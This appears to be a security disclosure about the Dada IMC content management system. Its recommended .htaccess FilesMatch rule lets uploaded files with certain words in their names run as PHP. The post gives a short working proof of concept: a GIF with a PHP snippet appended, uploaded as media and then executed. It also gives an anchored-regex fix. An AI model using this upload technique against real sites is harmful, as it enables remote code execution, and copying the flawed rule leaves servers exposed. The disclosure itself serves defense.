The instructions for installing Dada into a shared environment lists the
following .htaccess file:

(http://www.dadaimc.org/mod/documentation/display/4/index.php)

<FilesMatch "(feature|editor|newswire|otherpress|admin|pbook|media|mod)">
 ForceType application/x-httpd-php
</FilesMatch>

The problem is that the regular expression in FilesMatch allows any
uploaded files with the words
feature|editor|newswire|otherpress|admin|pbook|media|mod in the name to be
executed as php code provided they can be passed through the mime filter.

Example:

~$ wget -O http://www.google.com/intl/en_ALL/images/logo.gif [^]
:~$ wget -O feature.gif http://www.google.com/intl/en_ALL/images/logo.gif
--14:14:11-- http://www.google.com/intl/en_ALL/images/logo.gif [^]
           => `feature.gif'
Resolving www.google.com... 216.239.37.99, 216.239.37.104
Connecting to www.google.com|216.239.37.99|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8,558 (8.4K) [image/gif]
100%[===============================================================================================================>]
8,558 --.--K/s

14:14:11 (200.27 KB/s) - `feature.gif' saved [8558/8558]

:~$ echo "<? phpinfo(); ?>" >> feature.gif

create a new article and upload feature.gif as a media file.

Right click on the google logo after submitting the article, click copy
image location, paste into new window. Scroll down to see phpinfo()
output.


To Fix, upgrade to software where the author has a clue about security.

Until you can manage that, a temporary fix would be to change the .htaccess
file to read:

<FilesMatch
"(feature$|editor$|newswire$|otherpress$|admin$|pbook$|media$|mod$)">

or use the location directive in httpd.conf instead.

http://bugs.dadaimc.org/view.php?id=191